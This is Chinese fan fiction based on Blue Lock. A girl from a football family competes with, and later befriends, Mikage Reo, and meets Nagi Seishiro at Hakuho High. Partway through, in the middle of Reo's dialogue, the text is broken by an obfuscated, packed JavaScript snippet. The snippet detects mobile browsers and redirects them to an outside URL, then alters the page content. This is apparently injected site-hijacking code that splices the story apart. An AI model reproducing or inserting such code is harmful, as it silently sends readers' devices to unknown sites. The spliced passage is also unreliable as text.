《【蓝色监狱/蓝锁】关于我出生在足球家庭却不想踢球这件事》 1. 御影玲王 我叫清田爱,出生在一个足球家庭。 父亲是西班牙国脚,母亲是日本国脚。 理所当然,我也应该被训练成为一名足球运动员。 然而,我对足球并没有多大的兴趣。 幼稚园时,我有不少同学的父母是我父亲的粉丝。 他们奉父母之命接近我、讨好我,只为能和我的父亲说说话,或是索要一张签名。 在我父亲的光辉之下,我被忽视了,成为了某某某的女儿。 在那之后,我没有再向外说过我父亲的姓名。 我从小生活在东京,姓氏是随母姓,起了一个日本的名字。 姓氏是清田的人并不罕见,我的样貌也更偏向于长相温和的日本人,作为混血儿并不明显。 踢球是很赚钱的,所以我的家境殷实。而代价是我的父母都不怎么能顾家,从小陪伴我长大的是家里的保姆。 勉强算作千金的我,小学自然上东京的贵族学校。 我的同学,基本上都很有钱。 尤其是一个叫做御影玲王的人。 他的脑袋是圆的,眉毛和眼睛也是圆溜溜的。就像舅舅家里养的柴犬一样。 紫色,那种神秘、高贵的颜色,粘在了他的发丝和虹膜上。 我喜欢紫色。 但我不喜欢御影玲王。 他是个几乎全能的小学生。 玲王什么都会,作为他的同桌,我每次活动都分不到多少活。 就算我强硬抢下了大部分工作,做得也没有他好。 最主要的,他非常有钱。比我还有钱。 御影集团的总资产有40亿欧元,以我父亲现在的薪资水准,就算从出生开始就是这个年薪也赶不上的程度。 从小作为有钱人的自尊心我还是有的,御影玲王的存在无疑给我的世界观一记重击。 于是,我开始了幼稚又执拗的较劲。手工课,我要做得比他更精致;小组报告,我熬夜查资料写得比他更长;体育测试,我咬着牙练习想跑得更快。每一次,我都铆足了劲,眼睛死死盯着那个紫色头发的身影,试图从他完美的表现里找到一丝缝隙,然后超越过去。 结果?结果总是惨败。 他的手工作品被老师当作范本展示;他的报告结构清晰、引经据典,连最严厉的老师都频频点头;至于跑步?他轻松得像是在散步,而我跑到最后肺里像着了火,只能眼睁睁看着他冲过终点线,回头对我露出那种……那种理所当然的、仿佛在说“你尽力了”的温和笑容。 “清田同学,这次也很努力呢。下次一定会更好的。”他又一次走到喘着粗气、满脸不甘的我面前,声音像春天午后的阳光,暖融融的,却让我觉得格外刺眼。 就是这种温柔!这种仿佛我所有的挣扎在他眼里都是小孩子玩闹般的包容!一股巨大的委屈和无力感猛地冲上头顶,鼻子一酸,眼泪根本不受控制地涌了出来。 我甚至没看清他瞬间变得有些慌乱的表情,就“哇”地一声哭了出来,越哭越凶,像是要把所有的不甘和憋屈都发泄出来。为什么总是他?为什么我拼命也追不上?为什么他还要这样“安慰”我? 那天最后,是母亲风尘仆仆地赶到了学校。她把我紧紧搂在怀里,轻声细语地哄着,抚摸着我的后背。我哭累了,在她熟悉又令人安心的气息中,抽噎着睡了过去。再醒来时,已经躺在自己柔软的大床上,窗外是东京熟悉的夜景。母亲坐在床边,温柔地看着我。 “小爱,做噩梦了吗?”她轻声问。 我摇摇头,把脸埋进被子,闷闷地把和御影玲王较劲的事情断断续续说了出来,重点控诉了他那种“可恶的温柔”。 母亲静静地听着,手指温柔地梳理着我的头发。“小爱很要强呢,这点像爸爸。”她笑了笑,“但是啊,玲王君那样说,也许不是轻视你哦。妈妈也认识一些很厉害的人,他们有时候表达认可的方式,和我们不太一样。而且……”她顿了顿,声音更柔和了,“爱酱努力的样子,妈妈觉得非常棒。不是为了赢过谁,而是为了自己变得更好,这样的爱酱,闪闪发光呢。” 她的话像温热的泉水,一点点浸润了我干涸又拧巴的心。我蹭了蹭她的手,小声嘟囔:“可是……还是好不甘心……” “那就继续努力,直到有一天,你能坦然接受他的‘加油’,或者干脆让他追着你跑。”母亲点了点我的鼻尖,带着促狭的笑意。疲惫再次袭来,我在母亲温柔的注视和低语中,又一次沉沉睡去。 周末,母亲兑现承诺,要和舅舅一起带我出去玩,当作补偿。我满心期待,暂时把玲王带来的挫败感抛到了脑后。 然而,当我兴冲冲地跑到约定的地方——一个环境优美的植物园门口时,却看到了让我瞬间僵住的身影。 御影玲王! 他穿着休闲服,站在舅舅旁边,旁边还跟着一个长相奇特的老婆婆。她个子很高,穿着正统的西装,但最引人注目的是她那长而尖的鼻子,简直像童话故事里的女巫。她眼神锐利地扫视着周围,像一座沉默的守护雕像,但嘴角挂着温和的笑意。 舅舅清田智辉看到我,立刻露出爽朗的笑容:“小爱!快来,今天人多热闹!玲王少爷也来了。” 他语气熟稔,显然和玲王很熟悉。 玲王看到我,圆溜溜的紫眼睛亮了一下,随即又带上一点小心翼翼和……歉意? 母亲也有些意外,但很快反应过来,微笑着和玲王打招呼:“玲王君,你好。” “清田阿姨好。”玲王礼貌地鞠躬。他身边那位“女巫鼻”婆婆也微微颔首,声音低沉:“清田夫人,清田小姐,鄙人负责少爷今日的安全。” 果然是保镖。 舅舅压低声音,带着点无奈和老板命令不可违抗的表情对母亲解释:“那个……老板,御影先生,听说了玲王少爷和小爱在学校有点……呃,小误会,觉得正好借这个机会让两个孩子一起玩玩,化解一下。他特意让玲王少爷带着婆婆一起来的。” 他口中的“老板”,自然就是御影集团那位庞然大物的掌舵者,玲王的父亲。 什么误会,明明是我单方面输不起。 巨大的荒谬感和被强行安排的羞恼让我瞬间涨红了脸。我狠狠瞪了舅舅一眼,又飞快地扫过玲王,然后扭过头,紧紧抓住母亲的手,打定主意今天一句话也不跟他们说!尤其是御影玲王! 植物园里绿意盎然,花香袭人。母亲和舅舅走在前面闲聊,那位存在感极强的婆婆不远不近地跟在玲王身后。我和玲王落在最后,气氛沉默得近乎凝固。我只顾盯着脚下的石板路,仿佛上面刻满了世界未解之谜。 就在我憋着一股气,打算把这沉默贯彻到底时,旁边传来玲王清晰又带着一丝犹豫的声音: “清田同学……对不起。” 我脚步一顿,诧异地看向他。他紫色的眼睛认真地看着我,没有平时那种游刃有余的光芒,反而显得很真诚。 “那天……让你哭了,真的很抱歉。”他继续说道,手指无意识地绞着衣角,“我……我没有轻视你的意思。看到你那么努力,我觉得很厉害,是真的。只是……我好像总是说错话,用错方式……” 我愣住了。他……他居然真的道歉了?而且是为他安慰我的行为道歉?明明是我自己太较真、太脆弱才哭的!他根本没有任何错!他这样一道歉,反而让我之前积攒的所有怒气、委屈都失去了立足之地,像被戳破的气球,噗地一下泄了,只剩下无处安放的尴尬和……更汹涌的委屈。 为什么啊?为什么他总是这样?赢了我的是他,让我不甘心的是他,现在跑来道歉让我连生气的理由都没有的也是他!我越想越觉得憋闷,越想越觉得难过,视线迅速模糊起来。 “呜……你……你干嘛道歉啊!”我带着浓重的鼻音开口,眼泪大颗大颗地往下掉,完全不受控制,“明明……明明是我自己比不过你……是我自己太没用了才哭的!你根本没错!你……你道歉了,我还怎么……怎么不理你啊!呜哇——!” 我把心里乱七八糟的想法一股脑儿全喊了出来,越说越觉得丢脸,干脆蹲在地上,把脸埋在膝盖里大哭起来。什么千金小姐的仪态,什么在御影玲王面前的自尊,全都顾不上了。我就是委屈,委屈得要命! 周围瞬间安静了。母亲和舅舅惊讶地回头,那位婆婆的眼神似乎也闪过一丝波动。 玲王显然被我突如其来的崩溃大哭弄得手足无措。他蹲在我旁边,想碰我又不敢碰,急得团团转:“清、清田同学!别哭了……我不是那个意思……那个,我……” 他深吸一口气,像是下定了决心,声音努力放得平稳温和:“我没有觉得你没用。真的!你很厉害,你做的模型细节比我好多了!你的报告里引用的那个冷门数据,我都没查到!还有跑步,你最后冲刺的样子,很帅!” 他的声音带着一种奇异的安抚力量,穿透了我的哭声。我抽噎着,抬起泪眼朦胧的脸看他。 他见我似乎听进去了,紫罗兰色的眼睛亮了起来,语气变得坚定:“所以,别哭了。我们……我们下次一起努力,好不好?一起拿第一!搭档的话,肯定能做到的!” “搭……搭档?”我抽噎着,有点懵。 “嗯!搭档!”他用力点头,脸上绽开一个无比灿烂、充满自信的笑容,像阳光穿透了阴霾,“下次小组课题,我们一起做!体育课接力,我们一组!一定拿第一!” “真……真的?”我吸着鼻子,不确定地问。拿第一?和他一起?这感觉太不真实了。 “当然是真的!我御影玲王说到做到!”他拍着胸脯保证,神情是前所未有的认真和承诺。 也许是哭得太厉害,也许是他的话像一块巨大的海绵吸走了我所有的力气,也许是那个“一起拿第一”的许诺太过耀眼,我紧绷的神经骤然放松,巨大的疲惫感席卷而来。眼前的紫色身影和阳光下的绿叶开始晃动、模糊…… “小爱!” 母亲和舅舅焦急的声音似乎从很远的地方传来。最后的意识里,是玲王瞬间放大的、带着惊愕和担忧的紫色眼眸,然后,我就什么都不知道了。 毫无疑问,这场精心策划的“和解之旅”又被我的大哭和昏睡彻底毁了。但醒来后,看着床边母亲和舅舅关切的眼神,还有玲王托婆婆送来的、包装精美的慰问点心和一张写着“好好休息,等你回来一起拿第一!——玲王”的卡片时,心里那股郁结的怨气,好像真的消散了不少。 回到学校后,我和御影玲王之间那种剑拔弩张的气氛消失了。他没再提道歉的事,也没再刻意“安慰”我,只是用行动履行着诺言。小组课题,他会主动问我的想法,然后认真讨论分工,不再大包大揽;体育课,他会提前问我接力棒交接的节奏;手工课,他会真诚地夸我配色有创意。他依然优秀得闪闪发光,但不再让我感到遥不可及和被碾压的痛苦,反而成了一种……想要并肩的参照物。 转变发生在一次重要的模拟考试。题目很难,我憋着一股劲儿,反复检查,把平时玲王总能比我多拿几分的那类难题啃了一遍又一遍。成绩公布那天,当老师念出“第一名:清田爱”时,我几乎不敢相信自己的耳朵!心脏狂跳,手心全是汗。我下意识地看向旁边的玲王。 他没有失落,没有惊讶,那双漂亮的紫眼睛弯了起来,闪烁着纯粹的、毫不作伪的喜悦光芒。他悄悄对我竖起大拇指,用口型说:“看吧!我就说!” 那一刻,所有的努力都化作了蜜糖。不是赢过他的快感,而是证明了自己“可以”的巨大满足。我也忍不住对他笑了起来。阳光透过窗户,洒在我们并排的课桌上,暖洋洋的。 从那天起,我们成了真正的朋友。 时光在课业、社团、以及玲王时不时邀请我去他家那座巨大得如同城堡的宅邸串门中飞快流逝。他的家豪华得像博物馆,但最吸引我的不是那些价值连城的艺术品,而是他专属的游戏室和摆满了各种新奇玩意儿的书房。我们分享漫画,讨论难题,偶尔也一起吐槽学校里的人和事。他依然是我认识的那个近乎完美的御影玲王,但在我面前,他似乎也卸下了一些“少爷”的架子,会为游戏输掉懊恼,会为解不开的难题抓头发,会兴致勃勃地跟我分享他新发现的宝藏乐队。 小学毕业,毫无悬念地升入同一所顶尖私立初中。初中毕业,又凭借优异的成绩,一起考入了东京都内偏差值最高、以升学率和精英教育闻名的白宝高中。形影不离,如同最标准的“幼驯染”。 白宝高中的生活,似乎只是换了个更大的舞台。玲王凭借着他无可挑剔的外表、显赫的家世、优异的成绩以及温和有礼的态度,迅速成为了全校瞩目的焦点。不知道从谁开始,他有了一个极其夸张又贴切的外号——“白宝高中的万人迷王子殿下”。每次课间,他所在的班级门口总会有装作路过的女生;情人节,他收到的巧克力据说要用大型收纳箱来装;甚至还有低年级的学妹专门成立了后援会。 我和他没能分在同一个班级。但这并不影响什么。午休时,他总会自然地出现在我教室门口,或者我们约在天台一起吃午餐便当。放学后,只要他没有社团活动,我们也会一起离校。看着他熟练地应对着各种搭讪和偶遇,笑容完美无瑕,我有时会想起小学时那个因为“温柔”而把我气哭的男孩,觉得有点好笑,又有点……说不清的感慨。 高一那年的一个春日午后,阳光正好。我们坐在教学楼后安静的长椅上,分享着一盒玲王带来的高级草莓。他忽然开口,声音带着一种不同于往常的、近乎憧憬的认真: “爱,我的梦想,是拿到W杯。” W杯。世界杯。这个词对我来说,熟悉又遥远,像刻在血脉里却又被刻意疏离的烙印。空气似乎静默了一瞬。我拿着草莓的手停在半空,看向他。 玲王紫色的眼眸在阳光下显得异常明亮,充满了某种燃烧般的野心和渴望。“我知道你不怎么喜欢足球。”他补充道,语气很平静,没有试探,只是陈述一个事实,“但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251801|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……通过智辉叔叔,我知道你的父母……都是那个世界顶尖的人。”他没有说出具体的名字,但意思不言而喻。 他顿了顿,眼神带着一丝请求,看向我:“所以,爱,看在我们是朋友的份上……如果可能的话,我希望……能得到一些帮助。不是捷径,是……指导,或者,哪怕只是见一面聊聊的机会?” 以御影家的财力和人脉,他本可以找到世界顶级的教练和资源。但他此刻向我开口,意义显然不同。这更像是一种朋友间的信任和托付。 我的心微微揪了一下。足球……那个让我童年被忽视、让父母缺席的“元凶”。但看着玲王眼中那份纯粹的、不掺杂质的梦想之光,我发现自己无法拒绝。这不是为了足球,是为了玲王。 “我……”我放下草莓,舔了舔嘴唇,“我明白你的意思了,玲王。我会试试看……跟我妈妈提一下。但是,”我赶紧补充道,“你知道的,他们真的很忙,全世界飞,训练、比赛……时间表都是精确到分钟的。我不保证一定能成功,也不保证能立刻安排上。只能说……我会尽力问问看。” 玲王的眼睛瞬间亮得惊人,像是落入了整个银河系的星光。他猛地抓住我的肩膀,声音带着难以抑制的激动:“爱!谢谢你!真的!这就够了!只要你愿意帮忙问,我就非常、非常感谢了!” 那份巨大的喜悦和感激几乎要满溢出来,让我有些不知所措。 激动过后,他似乎才意识到自己的失态,松开手,有点不好意思地笑了笑,但笑容依旧灿烂:“为了庆祝我的梦想得到重要助力!爱,今天也去我家吃饭吧?我让厨师做你最爱的舒芙蕾!” “不了不了,”我连忙摆手,想到御影家那过于正式的用餐氛围就有点头皮发麻,“今天家里有点事,我得早点回去。” 这倒不是借口,家里的司机佐藤先生今天请假回老家参加婚礼了。 “这样啊……”玲王有点小失望,但很快恢复,“那好吧。路上小心。我……我还得去足球部一趟,新来的几个家伙需要‘整顿’一下。” 他说到“整顿”时,嘴角勾起一抹熟悉的、带着掌控力的自信弧度,那是“白宝王子”的另一面。 放学铃声响起,我收拾好书包,走到校门口。果然,平时停着家里黑色轿车的地方空空如也。我掏出手机,正准备叫辆计程车,目光却被不远处共享单车停放点的一个身影吸引了。 那是个极其高大的男生,目测接近一米九,顶着一头乱糟糟的醒目白发,像某种大型犬科动物。他穿着白宝的制服,但扣子随意地敞开着,露出里面的T恤。此刻,他正慢吞吞地、用一种仿佛耗费了毕生力气的姿态,解锁一辆共享单车。 凪诚士郎。我的同班同学。一个活着的传奇——“万年寝太郎”。 我对他的印象仅限于此:永远在睡觉。无论什么课,什么时间,只要老师不点名,他就能立刻进入深度睡眠状态。高大的身材蜷缩在课桌里,白毛脑袋枕着手臂,呼吸均匀。偶尔被老师叫醒,也是一脸茫然,用低沉又毫无波澜的声音回答几个字,然后倒头继续睡。运动?除了不得不做的体育课,我甚至没见他课间走过几步路,移动基本靠飘。 所以,眼前这一幕——凪诚士郎,在解锁共享单车?!这简直比看到玲王考试不及格还要不可思议!我的好奇心瞬间被勾到了顶点。 鬼使神差地,我走了过去。他似乎刚研究明白怎么开锁,正扶着车把,眼神放空,仿佛解锁已经用光了他今天的能量配额。 “凪同学?”我试探着叫了一声。 他慢了好几拍才转动他那颗白色的脑袋,没什么焦点的黑色眼睛看向我,眼神像蒙着一层雾。“……嗯?” 一个单音节词,语调平得像直线。 “你……骑自行车回家?”我问了个显而易见的傻问题。 “……嗯。”又是一个毫无起伏的回应。 看着那辆看起来还挺新的共享单车,又看看眼前这个仿佛随时会站着睡着的“巨人”,一个大胆又有点荒谬的念头突然冒了出来。 “那个……凪同学,”我清了清嗓子,努力让自己的声音听起来自然,“我家司机今天请假了。你看……方便载我一程吗?我家不远,就在……”我报了个地名。 凪诚士郎的视线终于聚焦了一点,落在我脸上,带着纯粹的、毫不掩饰的“好麻烦”三个大字。他甚至没思考,直接摇头:“不要……好累……” 果然。我早有准备。对付这种“节能主义”生物,普通的方法没用。我果断打开钱包,从里面抽出一沓崭新的万円钞票——大概有十几张。这是我习惯带在身上以备不时之需的零花钱。 我把那沓散发着油墨香的钞票,直接递到他眼皮子底下。 凪诚士郎那一直没什么波澜的黑色眼睛,在看到钞票的瞬间,罕见地睁大了。他长长的白色睫毛眨了眨,视线在我和钞票之间来回移动,脸上第一次出现了名为“困惑”和“震惊”的表情,好像突然不认识“钱”这个字了。 “……多少?”他终于又吐出一个词,声音带着一丝不易察觉的动摇。 “大概……十五万円?”我估算了一下。 他黑色的瞳孔似乎又扩大了一圈,沉默了足足有三秒。然后,我听到他用一种近乎梦呓般的、带着点不可思议的语气低声嘟囔了一句: “…………不愧是有钱人的朋友。” 第二天午休,玲王果然如约出现在我教室门口,神采飞扬,紫眼睛里闪烁着兴奋的光芒。 “爱!快跟我来!”他不由分说地拉起我的手腕。 “去哪?”我被他拽着走。 “让你看看我的‘江山’!”他回头,笑容自信又张扬,“我的足球部!” 穿过种满樱花树的中庭,来到位于校园角落的足球部活动楼。玲王推开那扇厚重的、印着足球部徽章的大门—— “欢迎来到足球部!!!” 震耳欲聋、整齐划一的吼声瞬间冲入耳膜。门内的景象让我瞬间定在原地。 只见宽阔的部活室内,穿着整齐训练服的足球部成员们,如同接受检阅的士兵,排成两列笔直的纵队,从门口一直延伸到房间尽头。他们个个昂首挺胸,目光炯炯有神,刚才那声气势十足的欢迎,显然就是他们发出的。 这阵仗……也太夸张了吧!简直像□□电影里迎接组长的场景! 玲王对我的反应非常满意,他松开我的手,向前一步,像个骄傲的国王巡视他的领土,然后转头看向我,紫眸亮晶晶的,毫不掩饰地写着“快夸我”。 “怎么样?我的足球部!”他张开手臂,声音里满是得意。 我还没从这过于戏剧化的“欢迎仪式”中完全回神,大脑一片空白,正搜肠刮肚想着该怎么评价这扑面而来的、属于御影玲王式的强烈掌控感和……中二气息。 就在这时,一个部员,目光在我和玲王之间转了一圈,带着点试探和八卦的语气,突兀地开口问道: “那个……部长,这位是……我们新来的经理吗?” 2. 你们在交往吗? 清田爱——白宝高中有名的「骑士姬」 *与王子殿下御影玲王关系亲密,两人似乎是幼驯染。(画了重点符号) *大和抚子一般的温柔相貌,很受男生欢迎。 *父母不明,十分神秘。 *经常有司机接送,似乎家境殷实。 *成绩优异,性格高冷,对玲王和学习以外的事情漠不关心。(待补充) *体能十分优秀,体育运动的金奖手到擒来,但似乎不擅长足球。 *据说是玲王大人家里安排的贴身保镖,身手敏捷,其实力深不见底。(注释:玲王大人的骑士?) *据说幼时被巫女诅咒失去了大部分感情,因此不会笑。 *据说见到她笑容的人会得到好运。 以上,来自御影玲王后援团对我的调查。 最后三条纯属谣言。 我不太关注学校的八卦,有些事情广为人知,自然也能传到我的耳朵。 但至于某些小范围的传言,与我无缘。 那个部员把他所知道的都抖了出来,还兴致勃勃地询问我是否真实。 “你觉得呢?”我的声音透露出淡淡的无语。 这种骗三岁小孩都不一定中招的东西,居然真的有人信吗?骑士姬?巫女诅咒?不会笑?深不见底的实力?我甚至开始怀疑这个所谓的“后援团”是不是集体中了某种降智光环。尤其是那个“贴身保镖”的注释还带了个爱心符号,简直离谱到家。 那个提问的部员被我反问得一愣,挠了挠头,似乎还在努力消化那些传言与眼前这个活生生的、脸上写着“你们是不是傻”的女生之间的巨大鸿沟。他张了张嘴,似乎还想追问什么。 就在这时,我身边的御影玲王发出了一声清晰的咳嗽。声音不大,却带着一种不容置疑的掌控力,瞬间把所有人的注意力都拉了过去。 “咳嗯!”他紫罗兰色的眼睛扫视了一圈,刚才那点因为被八卦而流露出的、不易察觉的在意迅速收敛,换上了属于“部长”的威严和一丝恰到好处的无奈,“好了好了,都别围在这里八卦些有的没的。休息时间结束,该去热身的去热身,该做拉伸的去做拉伸!目标,全国大赛!都动起来!” 他的声音不高,却像投入平静湖面的石子,瞬间打破了刚才那诡异又有点好笑的“欢迎”氛围。部员们如梦初醒,纷纷应声,刚才还笔直的队列瞬间松散,带着点敬畏和服从,各自散开去做自己的事情了。只是离开前,不少人还是忍不住偷偷瞟我几眼,眼神里充满了好奇和探究。 玲王转向我,脸上重新挂起那种熟悉的、带着点促狭和探究的笑容,仿佛刚才那个瞬间严肃的部长只是我的错觉。“这帮家伙,真是越来越没规矩了。”他摇摇头,语气轻松下来,“不过,爱,‘骑士姬’?还挺酷的嘛。” 他紫色的眼眸里闪烁着促狭的光,显然刚才那个部员抖出来的东西,尤其是“贴身保镖?”和“实力深不见底”的部分,成功挑起了他的兴趣。他肯定知道那些传言大多离谱,但其中某些细节——比如后援团调查出的、连他都不知道的关于我的“补充信息”——显然让他觉得有趣。 我还没来得及用眼神表达对他“酷”这个评价的无语,教室门口就传来一个声音。 “清田同学?清田爱同学在吗?” 一个同年级的男生站在活动室门口探头探脑,看到我和玲王站在一起,立刻松了口气:“太好了,清田同学,班主任老师让你现在去一趟办公室,说有急事找你。” 急事?我和玲王对视一眼,都从对方眼中看到了疑惑。这个学期已经过了大半,重要的学园祭、体育祭、期中考试都结束了,最近确实没什么大型活动需要特别通知学生干部的。 “知道是什么事吗?”玲王替我问了出来,眉头微蹙。他似乎本能地觉得这突如其来的“急事”有点蹊跷。 那个传话的男生摇摇头:“不清楚,老师就说让清田同学马上去一趟。” “好吧,谢谢。”我对那个男生点点头,然后看向玲王,“我去看看。” “嗯,”玲王应道,表情恢复了平静,但眼神里还是带着关切,“我在这里等你,或者……需要我陪你去吗?”他后半句问得随意,像是在开玩笑,但我知道他是认真的。 “不用了。”我摆摆手,“应该没什么大事。”说完,我转身朝活动室外走去。 然而,我刚迈出活动室的大门,脚步就顿住了。 走廊那头,我的班主任——教国语的藤原老师,正和一个高大的身影一起朝这边走来。那个懒洋洋、仿佛全身骨头都靠意志力勉强支撑着才没散架的白毛男生,不是凪诚士郎是谁? 藤原老师表情严肃,眉头拧得紧紧的,手里似乎还捏着什么。而凪诚士郎,依旧是他那副招牌的“好麻烦,想睡觉”的放空表情,慢吞吞地跟在老师身边,像一株被强行移植的大型盆栽,散发着强烈的不情愿和低气压。 藤原老师显然也看到了我,脚步加快了些,径直走到我面前。 “清田同学!正好,正要去找你。”藤原老师的声音带着一种压抑的焦躁,他看了一眼旁边的玲王,似乎觉得他在场也无所谓,便直接切入主题,语气严厉地转向凪,“凪同学,你自己说,还是我来说?” 凪诚士郎慢悠悠地抬起眼皮,黑色的瞳孔没什么焦点地扫过我和玲王,最后落在藤原老师脸上,几秒后才发出一个单音节:“……嗯?” 藤原老师被他这反应气得一噎,深吸一口气,把手里的东西举到我面前——那是一沓崭新的万円钞票,目测至少有十几张,用一根橡皮筋随意地捆着。 “清田同学,你看看这个!”藤原老师的声音带着难以置信和痛心疾首,“今天早上,凪同学突然拿着这么大一笔钱来学校!问他来源,他先是支支吾吾,最后才说是你给他的!这到底是怎么回事?清田同学,我知道你家境很好,但你不能这样……这样随意地给同学这么多钱!这很容易引起误会!而且,”他严厉的目光再次射向凪,“凪同学,你有没有想过,这会给清田同学带来多大的困扰?甚至……是不是你主动要求的?” 最后那句话,暗示性极强,几乎是在怀疑凪对我进行了某种形式的勒索。 我瞬间明白了。昨天放学随手塞给凪的那笔“车费”,竟然引发了这么大的风波。看着藤原老师那副“我发现了惊天秘密”的严肃表情,以及他手中那沓扎眼的钞票,再看看旁边依旧状况外的凪诚士郎,还有身后活动室门口探出脑袋、一脸惊愕的玲王……我只觉得一阵荒谬又无奈的头疼。 玲王已经从活动室走了出来,站在我身边,紫罗兰色的眼睛紧紧盯着那沓钱,又看看凪,最后落在我脸上,眼神里充满了震惊、困惑,还有一丝不易察觉的……紧张?他显然也被这突如其来的指控和金额弄懵了。 “老师,”我叹了口气,决定快刀斩乱麻,结束这场无谓的闹剧,“钱确实是我给凪同学的。” “什么?!”藤原老师失声叫道,显然没想到我承认得这么干脆。 玲王也猛地转头看我,瞳孔微缩。 “但是,”我无视他们的震惊,语速平稳地解释,“事情不是您想的那样。昨天放学,我家的司机佐藤先生临时请假了,我原本打算叫计程车。然后在校门口,正好看到凪同学在解锁共享单车。” 我停顿了一下,组织语言,尽量让理由听起来不那么像“有钱人任性”:“我当时……嗯,觉得骑自行车回家似乎挺有趣的,而且凪同学看起来正好顺路。所以我就问他,能不能顺便载我一程。作为报酬,我给了他那些钱。” 我指了指藤原老师手里的钞票。 走廊里一片寂静。藤原老师张着嘴,脸上的表情从严肃、愤怒,迅速转变为一种混合着极度荒谬和难以置信的呆滞。他看看我,又看看旁边那个仿佛下一秒就能站着睡着的凪诚士郎,再看看手里那沓足够普通高中生挥霍好一阵子的“车费”……世界观似乎受到了强烈的冲击。 玲王的表情更是精彩纷呈。震惊褪去后,剩下的就是浓浓的不可思议和一种“你在跟我开玩笑吗”的荒谬感。他看看我,又看看凪,那眼神仿佛在确认我们俩是不是被外星人掉包了。 凪诚士郎在漫长的沉默后,终于像是处理完了信息,慢悠悠地、用一种陈述事实的平淡语气补充道:“……嗯。不是勒索。是她硬塞给我的。” 他还特意强调了一下“硬塞”,仿佛在证明自己的无辜和被动。 这个“硬塞”简直火上浇油。藤原老师像是被噎住了,半晌才找回自己的声音,语气变得无比复杂,甚至带着点无力感:“就……就为了搭个便车?清田同学,你知道这有多少钱吗?而且,让一个……呃,不太熟悉的男同学骑车载你?这多不安全啊!” 他显然还是无法理解这种“万恶的有钱人”逻辑。 “是啊,爱!”玲王终于忍不住了,他上前一步,语气带着一种混合着担忧、后怕和不赞同的急切,“你怎么能做这么危险的事!自行车后座?万一摔了怎么办?而且……而且……”他看了一眼凪,似乎觉得有些话不好当着对方说,但还是压低了声音,“你对他了解多少啊?司机请假了你可以找我啊!我家也有司机,打个电话就来了!或者,或者我让婆婆……”他越说越急,白皙的脸颊因为激动染上了一层薄红,紫眼睛里是货真价实的担忧和一点点的……委屈?仿佛在控诉我宁愿找一个“陌生人”也不找他帮忙。 我被他这一连串的“控诉”弄得有点哑口无言。确实,当时只图一时方便、或者好奇,没想那么多。玲王的担忧在理,藤原老师的反应虽然夸张但也情有可原。我正想开口解释一下自己当时真的没想太多,或者保证下次不会了。 一直处于旁观者状态的凪诚士郎,那双没什么焦点的黑色眼睛在我和情绪明显有些激动的玲王身上慢悠悠地扫了两个来回。然后,他那张仿佛永远睡不醒的脸上,难得地浮现出一种像是突然明白了什么、又带着点“果然如此”的懒洋洋表情。他微微歪了歪他那颗白色的脑袋,用那种特有的、毫无起伏的平板语调,抛出了一个石破天惊的问题: “……你们是在交往吗?” “噗——咳咳咳!”藤原老师被自己的口水呛到了。 而我,感觉大脑像是被按下了暂停键。交往?谁?我和……玲王? 下一秒,我身边的御影玲王反应堪称激烈。 他那张总是带着完美微笑、从容不迫的俊脸,在听到“交往”这个词的瞬间,“唰”地一下,从脖子根一路红到了耳朵尖!那抹红晕迅速蔓延,像是瞬间被丢进了蒸笼里。他紫色的眼睛猛地瞪大,里面充满了前所未有的慌乱和窘迫,甚至还有一丝被戳破心事的羞恼。 “凪、凪诚士郎!”玲王的声音陡然拔高,失去了往日的优雅从容,带着明显的慌乱和强装的严厉,“你在胡说八道什么?!这种话怎么能随便乱说!太失礼了!” 他像是被踩了尾巴的猫,整个人都绷紧了,眼神飞快地瞟了我一眼,又立刻像被烫到一样移开,手足无措的样子哪里还有半分“白宝王子”的从容。 凪诚士郎被吼了,也只是懒懒地眨了眨眼,脸上依旧是那副“好麻烦”的表情,似乎完全没意识到自己投下了一颗多大的炸弹。他甚至还慢吞吞地补充了一句,声音不大,但在寂静的走廊里格外清晰:“……电视剧里,都这样演的。豪门联姻,从小认识,形影不离,管家司机……” 他甚至还瞥了一眼藤原老师手里那沓钱,仿佛那是什么“豪门恩怨”的信物。 我:“……” 该说这家伙是节能主义深入骨髓呢,还是想象力过于丰富?我万万没想到,一个连走路都嫌累的人,脑子里居然还装着这种狗血豪门肥皂剧的桥段,并且还能如此“活学活用”地八卦到现实中来。人类的吃瓜本性,果然是不分节能等级的。 玲王显然被凪这种“有理有据”的八卦噎得够呛,脸红得几乎要滴血,眼神躲闪,完全不敢看我。他像是急于逃离这个让他极度羞耻的现场,猛地伸手,一把抓住了我的手腕。 “走了!”他几乎是拖着还在消化这戏剧性转折的我,声音带着一种恼羞成怒的急促,对着藤原老师匆匆丢下一句,“老师,事情解释清楚了!我们先走了!” 然后,不等任何人反应,他拽着我,几乎是逃离一般,大步流星地朝着与办公室相反的方向——通往天台的楼梯口走去。那力道之大,步伐之快,完全不顾及他那“王子殿下”的优雅形象。 留下藤原老师拿着那沓烫手的“车费”,看着我们仓皇“逃窜”的背影,以及旁边依旧一脸状况外、仿佛刚刚只是说了句“今天天气不错”的凪诚士郎,在走廊的风中彻底凌乱。 *** 通往天台的楼梯间里,只有我们急促的脚步声在回响。玲王一直没松手,攥着我的手腕,走得飞快。我能感觉到他掌心滚烫的温度和微微的汗意,还有他紧绷的、僵硬的背影。 直到推开沉重的天台铁门,春日午后温暖的阳光和微风扑面而来,他才像是终于泄了气一般,猛地松开我的手,背对着我,肩膀微微起伏,似乎在努力平复呼吸。 天台上空无一人,只有远处城市的轮廓和下方校园里隐约传来的喧闹声。空气里带着新叶和阳光的味道。 我揉了揉被他攥得有点发红的手腕,看着他通红的耳根和依旧僵硬的背影,心里那点因为凪的爆炸性发言带来的错愕,渐渐被一种奇异的、混合着好笑和微妙的感觉取代。 玲王……他在害羞?而且是非常、非常害羞的那种。这反应,可比那些离谱的传言有趣多了。 “喂,”我忍不住开口,声音里带着一丝连自己都没察觉的笑意,“玲王大人,你跑什么?做贼心虚?” 